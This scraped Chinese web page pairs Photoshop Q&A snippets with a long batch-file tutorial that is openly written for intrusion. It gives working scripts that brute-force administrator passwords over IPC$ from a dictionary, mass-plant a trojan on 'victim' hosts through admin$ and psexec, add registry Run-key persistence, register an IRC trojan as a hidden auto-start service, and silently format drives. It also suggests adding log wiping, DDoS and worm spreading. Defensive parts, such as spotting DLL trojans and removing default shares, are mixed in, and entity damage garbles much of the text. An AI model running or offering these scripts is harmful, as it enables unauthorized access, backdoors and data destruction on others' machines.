PHOTOSHOP基本概念解释
馆藏&86819
TA的最新馆藏[转]&[转]&[转]&[转]&[转]&[转]&在photoshop中如何批处理文件界面一直提示不行 网上别人说的都试了不行-PHOTOSHOP怎样批处理文件 _心理健康资讯
在photoshop中如何批处理文件界面一直提示不行 网上别人说的都试了不行
在photoshop中如何批处理文件界面一直提示不行 网上别人说的都试了不行30分
在photoshop中如何批处理文件界面一直提示不行 网上别人说的都试了不行 用的CC版本
后面就不要管了,不能识别的,文件命名那一块有问题,至于保存成什么格式,命名是让你设置名字的,其实那个可以不设置的,就直接选第一个是一个数字,你自己打出来一个jpg,在动作包里面设置好就行了设置错了,空白,试试
用photoshop把图上的字覆盖然后填上自己的字,2种情况。一是文字背景纯色,二是文字背景颜色不纯...
打开ps,点击图层下方的新建分组,就能添加组。
在PS中设置网格有利于我们处理图片,主要方法步骤如下: 1.最简单的显示方法:快捷键ctrl+ '即...
打开Photoshop,在左侧工具栏找到如下图标,右单击选择直线工具。点击后将鼠标移到工作区,按左键...
在photoshop中看角度的方法是:1、新建文件,打开“图像--分析--标尺”;2、用标尺拖出角的...
photoshop将图片分层的方法是: 1、打开JPG图片,复制图层。 2、选择复制图层,用钢笔工具...
1.点击文件-置入,选择一张电脑上的JPG图片。 2.调整图片。
从你的描述来看,你所制作的图应该是已经具备了2个图层,那么只要在图层面板上,点住上面那个图层往下拉,...
在photoshop打开需要抠公章的图像文件。 按下CTRL+J,复制背景图层,得到图层1. 执行“...
1、左键按住图层 2、向目标层位去拖动 3、松开左键,即完成
你可能感兴趣的相关内容6学习使用批处理文件的意义第1/2页
后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢? 比如,在启动wps软件时,每次都必须执行 C:\cdwps C:\WPSspdos C:\WPSpy C:\WPSwbx C:\WPSwps 如果
后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢?& 比如,在启动wps软件时,每次都必须执行& C:\&cd&wps& C:\WPS&spdos& C:\WPS&py& C:\WPS&wbx& C:\WPS&wps& 如果每次用WPS之前都这样执行一次,您是不是觉得很麻烦呢?& 如果有一个方法,只需编写一个批处理文件,就会自动执行刚才的所有命令,您想不想学呢?& 当您看完此节,自己编写的第一个批处理文件顺利执行时,您一定会大吃一惊的。& 此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。& echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。&echo&表示显示此命令后的字符& echo&off&表示在此语句后所有运行的命令都不显示命令行本身& @&与echo&off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。& call&调用另一条批处理文件(如果直接调用别的批处理文件&,执行完那条文件后将无法执行当前文件后续命令)& pause&运行此句会暂停,显示Press&any&key&to&continue...&等待用户按任意键后继续&& rem&表示此命令后的字符为解释行,不执行,只是给自己今后查找用的&& 例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入&a.txt中,启动UCDOS,进入WPS等功能。& 批处理文件的内容为:& 文件表示:& echo&off 不显示命令行& dir&c:\*.*&&a.txt 将c盘文件列表写入a.txt& call&c:\ucdos\ucdos.bat 调用ucdos& echo&你好& 显示"你好"& pause& 暂停,等待按键继续& rem&使用wps& 注释将使用wps& cd&ucdos 进入ucdos目录& wps& 使用wps & 批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。& &%表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从&%0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。& 例如,C:根目录下一批处理文件名为f.bat,内容为&format&%1& 则如果执行C:\&f&a:& 则实际执行的是format&a:& 又如C:根目录下一批处理文件的名为t.bat,内容为&type&%1&type&%2& 那么运行C:\&t&a.txt&b.txt&将顺序地显示a.txt和b.txt文件的内容& if&goto&choice&for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。& &&if&表示将判断是否符合规定的条件,从而决定执行不同的命令。&有三种格式:& 1、if&"参数"&==&"字符串"& 待执行的命令& 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if&"%1"=="a"&format&a:& 2、if&exist&文件名 &待执行的命令& 如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if&exist&config.sys&edit&config.sys& 3、if&errorlevel&数字 &待执行的命令& 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if&errorlevel&2&goto&x2& DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码 goto&批处理文件运行到这里将跳到goto&所指定的标号处,&一般与if配合使用。&如: goto&end& :end& echo&this&is&the&end 标号用&:字符串&表示,标号所在行不被执行 choice&使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如:&choice&/c:dme&defrag,mem,end 将显示 defrag,mem,end[D,M,E]? 例如,test.bat的内容如下:& @echo&off& choice&/c:dme&defrag,mem,end& if&errorlevel&3&goto&defrag&应先判断数值最高的错误码 if&errorlevel&2&goto&mem& if&errotlevel&1&goto&end& :defrag& c:\dos\defrag& goto&end& :mem& mem& goto&end& :end& echo&good&bye 此文件运行后,将显示&defrag,mem,end[D,M,E]?&用户可选择d&m&e&,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto&end将程序跳到end标号处,然后程序将显示good&bye,文件结束。 for&循环命令,只要条件符合,它将多次执行同一命令。& 格式FOR&[%%f]&in&(集合)&DO&[命令]& 只要参数f在指定的集合内,则条件成立,执行命令& 如果一条批处理文件中有一行:& for&%%c&in&(*.bat&*.txt)&do&type&%%c& 含义是如果是以bat或txt结尾的文件,则显示文件的内容。 &DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如:&path(设置路径)、smartdrv(磁盘加速)、&mouse(鼠标启动)、mscdex(光驱连接)、&doskey(键盘管理)、set(设置环境变量)等。& 如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。& 例如,一个典型的autoexec.bat内容如下:& @echo&off 不显示命令行& prompt&$p$g 设置提示符前有目录提示& path&c:\c:\;c:\c:\c:\tools &设置路径& lh&c:\& 加载键盘管理& lh&c:\ 加载鼠标管理& lh&c:\dos\smartdrv.exe& 加载磁盘加速管理& lh&c:\dos\mscdex&/S&/D:MSCD000&/M:12&/V 加载CD-ROM驱动& set&temp=c:\temp& 设置临时目录& ---------------------------------------------------------------------------------- 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为&.bat&或&.cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。& 一.简单批处理内部命令简介& 1.Echo&命令& 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo&命令将显示当前回显设置。& 语法& echo&[{on off}]&[message]& Sample:@echo&off&/&echo&hello&world& 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用&&&&&^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。& 2.@&命令& 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。& Sample:@echo&off& @echo&Now&initializing&the&program,please&wait&a&minite...& @format&X:&/q/u/autoset&(format&这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)& 3.Goto&命令& 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。& 语法:goto&label&(label是参数,指定所要转向的批处理程序中的行。)& Sample:& if&{%1}=={}&goto&noparms& if&{%2}=={}&goto&noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)& @Rem&check¶meters&if&null&show&usage& :noparms& echo&Usage:&monitor.bat&ServerIP&PortNumber& goto&end& 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。& 4.Rem&命令& 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。& Rem&Message& Sample:@Rem&Here&is&the&description.& 5.Pause&命令& 运行&Pause&命令时,将显示下面的消息:& Press&any&key&to&continue&.&.&.& Sample:& @echo&off& :begin& copy&a:*.*&d:\back& echo&Please&put&a&new&disk&into&driver&A& pause& goto&begin& 在这个例子中,驱动器&A&中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器&A&时,pause&命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。& 6.Call&命令& 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call&命令接受用作调用目标的标签。如果在脚本或批处理文件外使用&Call,它将不会在命令行起作用。& 语法& call&[[Drive:][Path]&FileName&[BatchParameters]]&[:label&[arguments]]& 参数& [Drive:}[Path]&FileName& 指定要调用的批处理程序的位置和名称。filename&参数必须具有&.bat&或&.cmd&扩展名。& 7.start&命令& 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。& 入侵常用参数:& MIN&开始时窗口最小化& SEPARATE&在分开的空间内开始&16&位&Windows&程序& HIGH&在&HIGH&优先级类别开始应用程序& REALTIME&在&REALTIME&优先级类别开始应用程序& WAIT&启动应用程序并等候它结束& parameters&这些为传送到命令/程序的参数& 执行的应用程序是&32-位&GUI&应用程序时,CMD.EXE&不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。& 8.choice&命令& choice&使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……& 如:&choice&/c:dme&defrag,mem,end& 将显示& defrag,mem,end[D,M,E]?& Sample:& Sample.bat的内容如下:& @echo&off& choice&/c:dme&defrag,mem,end& if&errorlevel&3&goto&defrag&(应先判断数值最高的错误码)& if&errorlevel&2&goto&mem& if&errotlevel&1&goto&end& :defrag& c:\dos\defrag& goto&end& :mem& mem& goto&end& :end& echo&good&bye& 此文件运行后,将显示&defrag,mem,end[D,M,E]?&用户可选择d&m&e&,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto&end将程序跳到end标号处,然后程序将显示good&bye,文件结束。& 9.If&命令& if&表示将判断是否符合规定的条件,从而决定执行不同的命令。&有三种格式:& 1、if&"参数"&==&"字符串"& 待执行的命令& 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)& 如if&"%1"=="a"&format&a:& if&{%1}=={}&goto&noparms& if&{%2}=={}&goto&noparms& 2、if&exist&文件名 &待执行的命令& 如果有指定的文件,则条件成立,运行命令,否则运行下一句。& 如if&exist&config.sys&edit&config.sys& 3、if&errorlevel&/&if¬&errorlevel&数字 &待执行的命令& 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。& 如if&errorlevel&2&goto&x2& & DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。& 10.for&命令& for&命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。& 在批处理文件中使用&FOR&命令时,指定变量请使用&%%variable& for&{%variable %%variable}&in&(set)&do&command&[&CommandLineOptions]& %variable&指定一个单一字母可替换的参数。& (set)&指定一个或一组文件。可以使用通配符。& command&指定对每个文件执行的命令。& command-parameters&为特定命令指定参数或命令行开关。& 在批处理文件中使用&FOR&命令时,指定变量请使用&%%variable& 而不要用&%variable。变量名称是区分大小写的,所以&%i&不同于&%I& 如果命令扩展名被启用,下列额外的&FOR&命令格式会受到& 支持:& FOR&/D&%variable&IN&(set)&DO&command&[command-parameters]& 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。& FOR&/R&[[drive:]path]&%variable&IN&(set)&DO&command&[command-& 检查以&[drive:]path&为根的目录树,指向每个目录中的FOR&语句。如果在&/R&后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。& FOR&/L&%variable&IN&(start,step,end)&DO&command&[command-para& 该集表示以增量形式从开始到结束的一个数字序列。& 因此,(1,1,5)&将产生序列&1&2&3&4&5,(5,-1,1)&将产生& 序列&(5&4&3&2&1)。& FOR&/F&["options"]&%variable&IN&(file-set)&DO&command& FOR&/F&["options"]&%variable&IN&("string")&DO&command& FOR&/F&["options"]&%variable&IN&(command)&DO&command& 或者,如果有&usebackq&选项:& FOR&/F&["options"]&%variable&IN&(file-set)&DO&command& FOR&/F&["options"]&%variable&IN&("string")&DO&command& FOR&/F&["options"]&%variable&IN&(command)&DO&command& filenameset&为一个或多个文件名。继续到&filenameset&中的& 下一个文件之前,每份文件都已被打开、读取并经过处理。& 处理包括读取文件,将其分成一行行的文字,然后将每行& 解析成零或更多的符号。然后用已找到的符号字符串变量值& 调用&For&循环。以默认方式,/F&通过每个文件的每一行中分开& 的第一个空白符号。跳过空白行。您可通过指定可选&"options"& 参数替代默认解析操作。这个带引号的字符串包括一个或多个& 指定不同解析选项的关键字。这些关键字为:& eol=c&-&指一个行注释字符的结尾(就一个)& skip=n&-&指在文件开始时忽略的行数。& delims=xxx&-&指分隔符集。这个替换了空格和跳格键的& 默认分隔符集。& tokens=x,y,m-n&-&指每行的哪一个符号被传递到每个迭代& 的&for&本身。这会导致额外变量名称的& 格式为一个范围。通过&nth&符号指定&m& 符号字符串中的最后一个字符星号,& 那么额外的变量将在最后一个符号解析之& 分配并接受行的保留文本。& usebackq&-&指定新语法已在下类情况中使用:& 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在&fi中使用双引号扩起文件名称。& sample1:& FOR&/F&"eol=;&tokens=2,3*&delims=,&"&%i&in&(myfile.txt)&do&command& 会分析&myfile.txt&中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给&for&程序体;用逗号和/或空格定界符号。请注意,这个&for&程序体的语句引用&%i&来取得第二个符号,引用&%j&来取得第三个符号,引用&%k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用&usebackq&选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。& %i&专门在&for&语句中得到说明,%j&和&%k&是通过& tokens=&选项专门得到说明的。您可以通过&tokens=&一行指定最多&26&个符号,只要不试图说明一个高于字母&z&或Z&的变量。请记住,FOR&变量是单一字母、分大小写和全局的同时不能有&52&个以上都在使用中。& 您还可以在相邻字符串上使用&FOR&/F&分析逻辑;方法是,用单引号将括号之间的&filenameset&括起来。这样,该字符串会被当作一个文件中的一个单一输入行。& 最后,您可以用&FOR&/F&命令来分析命令的输出。方法是,将括号之间的&filenameset&变成一个反括字符串。该字符串会被当作命令行,传递到一个子&CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:& FOR&/F&"usebackq&delims=="&%i&IN&(`set`)&DO&@echo&%i& 会枚举当前环境中的环境变量名称。& 另外,FOR&变量参照的替换已被增强。您现在可以使用下列& 选项语法:& ~I&-&删除任何引号("),扩充&%I& %~fI&-&将&%I&扩充到一个完全合格的路径名& %~dI&-&仅将&%I&扩充到一个驱动器号& %~pI&-&仅将&%I&扩充到一个路径& %~nI&-&仅将&%I&扩充到一个文件名& %~xI&-&仅将&%I&扩充到一个文件扩展名& %~sI&-&扩充的路径只含有短名& %~aI&-&将&%I&扩充到文件的文件属性& %~tI&-&将&%I&扩充到文件的日期/时间& %~zI&-&将&%I&扩充到文件的大小& %~$PATH:I&-&查找列在路径环境变量的目录,并将&%I&扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串& 可以组合修饰符来得到多重结果:& %~dpI&-&仅将&%I&扩充到一个驱动器号和路径& %~nxI&-&仅将&%I&扩充到一个文件名和扩展名& %~fsI&-&仅将&%I&扩充到一个带有短名的完整路径名& %~dp$PATH:i&-&查找列在路径环境变量的目录,并将&%I&扩充到找到的第一个驱动器号和路径。& %~ftzaI&-&将&%I&扩充到类似输出线路的&DIR& 在以上例子中,%I&和&PATH&可用其他有效数值代替。%~&语法& 用一个有效的&FOR&变量名终止。选取类似&%I&的大写变量名比较易读,而且避免与不分大小写的组合键混淆。& 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。& sample2:& 利用For命令来实现对一台目标Win2k主机的暴力密码破解。& 我们用net&use&\\ip\ipc$&"password"&/u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。& 最主要的命令是一条:for&/f&i%&in&(dict.txt)&do&net&use&\\ip\ipc$&"i%"&/u:"administrator"& 用i%来表示admin的密码,在dict.txt中这个取i%的值用net&use&命令来连接。然后将程序运行结果传递给find命令--& for&/f&i%%&in&(dict.txt)&do&net&use&\\ip\ipc$&"i%%"&/u:"administrator" find&":命令成功完成"&&D:\ok.txt&,这样就ko了。& sample3:& 你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。& 主要命令也只有一条:(在批处理文件中使用&FOR&命令时,指定变量使用&%%variable)& @for&/f&"tokens=1,2,3&delims=&"&%%i&in&(victim.txt)&do&start&call&door.bat&%%i&%%j&%%k& tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i&%j&%k。& 而cultivate.bat无非就是用net&use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If&errorlever&=)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。& delims=&表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i&%%j&%%k表示的对象来排列,一般就是&ip&password&username。& 代码雏形:& ---------------&cut&here&then&save&as&a&batchfile(I&call&it&main.bat&)&---------------------------& @echo&off& @if&"%1"==""&goto&usage& @for&/f&"tokens=1,2,3&delims=&"&%%i&in&(victim.txt)&do&start&call&IPChack.bat&%%i&%%j&%%k& @goto&end& :usage& @echo&run&this&batch&in&dos&modle.or&just&double-click&it.& :end& ---------------&cut&here&then&save&as&a&batchfile(I&call&it&main.bat&)&---------------------------& -------------------&cut&here&then&save&as&a&batchfile(I&call&it&door.bat)&-----------------------------& @net&use&\\%1\ipc$&%3&/u:"%2"& @if&errorlevel&1&goto&failed& @echo&Trying&to&establish&the&IPC$&connection&…………OK& @copy&windrv32.exe\\%1\admin$\system32&&&&if¬&errorlevel&1&echo&IP&%1&USER&%2&PWD&%3&&&ko.txt& @psexec&\\%1&c:\winnt\system32\windrv32.exe& @psexec&\\%1&net&start&windrv32&&&&if¬&errorlevel&1&echo&%1&Backdoored&&&ko.txt& :failed& @echo&Sorry&can¬&connected&to&the&victim.& -----------------&cut&here&then&save&as&a&batchfile(I&call&it&door.bat)&--------------------------------& 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容& 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.& 二.如何在批处理文件中使用参数& 批处理中可以使用参数,一般从1%到&9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。& sample1:fomat.bat& @echo&off& if&"%1"=="a"&format&a:& :format& @format&a:/q/u/auotset& @echo&please&insert&another&disk&to&driver&A.& @pause& @goto&fomat& 这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat&a,呵呵,好像有点画蛇添足了~^_^& sample2:& 当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip&password&username&当着参数来赋给这个批处理,这样就不用每次都打命令了。& @echo&off& @net&use&\\1%\ipc$&"2%"&/u:"3%"&注意哦,这里PASSWORD是第二个参数。& @if&errorlevel&1&echo&connection&failed& 怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3& 三.如何使用组合命令(Compound&Command)& 1.&& Usage:第一条命令&&&第二条命令&[&&第三条命令...]& 用这种方法可以同时执行多条命令,而不管命令是否执行成功& Sample:& C:\&dir&z:&&&dir&c:\Ex4rch& The&system&cannot&find&the&path&specified.& Volume&in&drive&C&has&no&label.& Volume&Serial&Number&is&0078-59FB& Directory&of&c:\Ex4rch& &23:51& .& &23:51& ..& &23:51&14&sometips.gif& 3. & Usage:第一条命令& &第二条命令&[ &第三条命令...]& 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;& Sample:& C:\Ex4rch&dir&sometips.gif& &del&sometips.gif& Volume&in&drive&C&has&no&label.& Volume&Serial&Number&is&0078-59FB& Directory&of&C:\Ex4rch& &23:55&14&sometips.gif& 1&File(s)&14&bytes& 0&Dir(s)&768,696,320&bytes&free& 组合命令使用的例子:& sample:& @copy&trojan.exe&\\%1\admin$\system32&&&&if¬&errorlevel&1&echo&IP&%1&USER&%2&PASS&%3&&&victim.txt& 四、管道命令的使用& 1. &命令& Usage:第一条命令& &第二条命令&[ &第三条命令...]& 将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。& sample:& time&/t&&D:\IP.log& netstat&-n&-p&tcp find&":3389"&&D:\IP.log& start&Explorer& 看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。& 2.&、&&输出重定向命令& 将一条命令或某个程序输出结果的重定向到特定文件中,&&&与&&&的区别在于,&会清除调原有文件中的内容后写入指定文件,而&&只会追加内容到指定文件中,而不会改动其中的内容。& sample1:& echo&hello&world&c:\hello.txt&(stupid&example?)& sample2:& 时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:& 运行CMD--转换目录到system32--dir&*.exe&exeback.txt&&&dir&*.dll&dllback.txt,& 这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,& 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.& 这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:& CMD--fc&exeback.txt&exeback1.txt&diff.txt&&&fc&dllback.txt&dllback1.txt&diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32&/u&trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。& 3.&&、&&&、&&& &&从文件中而不是从键盘中读入命令输入。& &&&将一个句柄的输出写入到另一个句柄的输入中。& &&&从一个句柄读取输入并将其写入到另一个句柄输出中。& 这些并不常用,也就不多做介绍。& No.5& 五.如何用批处理文件来操作注册表& 在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)& 关于注册表的操作,常见的是创建、修改、删除。& 1.创建& 创建分为两种,一种是创建子项(Subkey)& 我们创建一个文件,内容如下:& Windows&Registry&Editor&Version&5.00& [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]& 然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。& 另一种是创建一个项目名称& 那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:& Windows&Registry&Editor&Version&5.00& [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch"& "Door"=C:\\WINNT\\system32\\door.exe& "Autodos"=dword:02& 这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下& 新建了:Invader、door、about这三个项目& Invader的类型是“String&Value”& door的类型是“REG&SZ&Value”& Autodos的类型是“DWORD&Value”& 2.修改& 修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit&/s)即可。& 3.删除& 我们首先来说说删除一个项目名称,我们创建一个如下的文件:& Windows&Registry&Editor&Version&5.00& [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]& "Ex4rch"=-& 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;& 我们再看看删除一个子项,我们创建一个如下的脚本:& Windows&Registry&Editor&Version&5.00& [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]& 执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。& 相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。& samlpe1:如上面的那个例子,如想生成如下注册表文件& Windows&Registry&Editor&Version&5.00& [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]& "Invader"="Ex4rch"& "door"=hex:255& "Autodos"=dword:& 只需要这样:& @echo&Windows&Registry&Editor&Version&5.00&&Sample.reg& @echo&[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&Sample.reg& @echo&"Invader"="Ex4rch"&&Sample.reg& @echo&"door"=5&&C:\\WINNT\\system32\\door.exe&&Sample.reg& @echo&"Autodos"=dword:02&&Sample.reg& samlpe2:& 我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)& @start&windrv32.exe& @attrib&+h&+r&windrv32.exe& @echo&[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]&&&patch.dll& @echo&"windsnx&"=-&&&patch.dll& @sc.exe&create&Windriversrv&type=&kernel&start=&auto&displayname=&WindowsDriver&binpath=&c:\winnt\system32\windrv32.exe& @regedit&/s&patch.dll& @delete&patch.dll& @REM&[删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]& @REM&这样不是更安全^_^.& 六.精彩实例放送。& 1.删除win2k/xp系统默认共享的批处理& ------------------------&cut&here&then&save&as&.bat&or&.cmd&file&---------------------------& @echo&preparing&to&delete&all&the&default&shares.when&ready&pres&any&key.& @pause& @echo&off& :Rem&check¶meters&if&null&show&usage.& if&{%1}=={}&goto&:Usage& :Rem&code&start.& echo.& echo&------------------------------------------------------& echo.& echo&Now&deleting&all&the&default&shares.& echo.& net&share&%1$&/delete& net&share&%2$&/delete& net&share&%3$&/delete& net&share&%4$&/delete& net&share&%5$&/delete& net&share&%6$&/delete& net&share&%7$&/delete& net&share&%8$&/delete& net&share&%9$&/delete& net&stop&Server& net&start&Server& echo.& echo&All&the&shares&have&been&deleteed& echo.& echo&------------------------------------------------------& echo.& echo&Now&modify&the®istry&to&change&the&system&default&properties.& echo.& echo&Now&creating&the®istry&file& echo&Windows&Registry&Editor&Version&5.00&&c:\delshare.reg& echo&[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]&&&c:\delshare.reg& echo&"AutoShareWks"=dword:&&&c:\delshare.reg& echo&"AutoShareServer"=dword:&&&c:\delshare.reg& echo&Nowing&using&the®istry&file&to&chang&the&system&default&properties.& regedit&/s&c:\delshare.reg& echo&Deleting&the&temprotarily&files.& del&c:\delshare.reg& goto&:END& :Usage& echo.& echo&------------------------------------------------------& echo.& echo&☆&A&example&for&batch&file&☆& echo&☆&[Use&batch&file&to&change&the&sysytem&share&properties.]&☆& echo.& echo&Author:Ex4rch& echo&Mail:&QQ:1672602& echo.& echo&Error:Not&enough¶meters& echo.& echo&☆&Please&enter&the&share&disk&you&wanna&delete&☆& echo.& echo&For&instance,to&delete&the&default&shares:& echo&delshare&c&d&e&ipc&admin&print& echo.& echo&If&the&disklable&is¬&as&C:&D:&E:&,Please&chang&it&youself.& echo.& echo&example:& echo&If&locak&disklable&are&C:&D:&E:&X:&Y:&Z:&,you&should&chang&the&command&into&:& echo&delshare&c&d&e&x&y&z&ipc&admin&print& echo.& echo&***&you&can&delete&nine&shares&once&in&a&useing&***& echo.& echo&------------------------------------------------------& goto&:EOF& :END& echo.& echo&------------------------------------------------------& echo.& echo&OK,delshare.bat&has&deleted&all&the&share&you&assigned.& 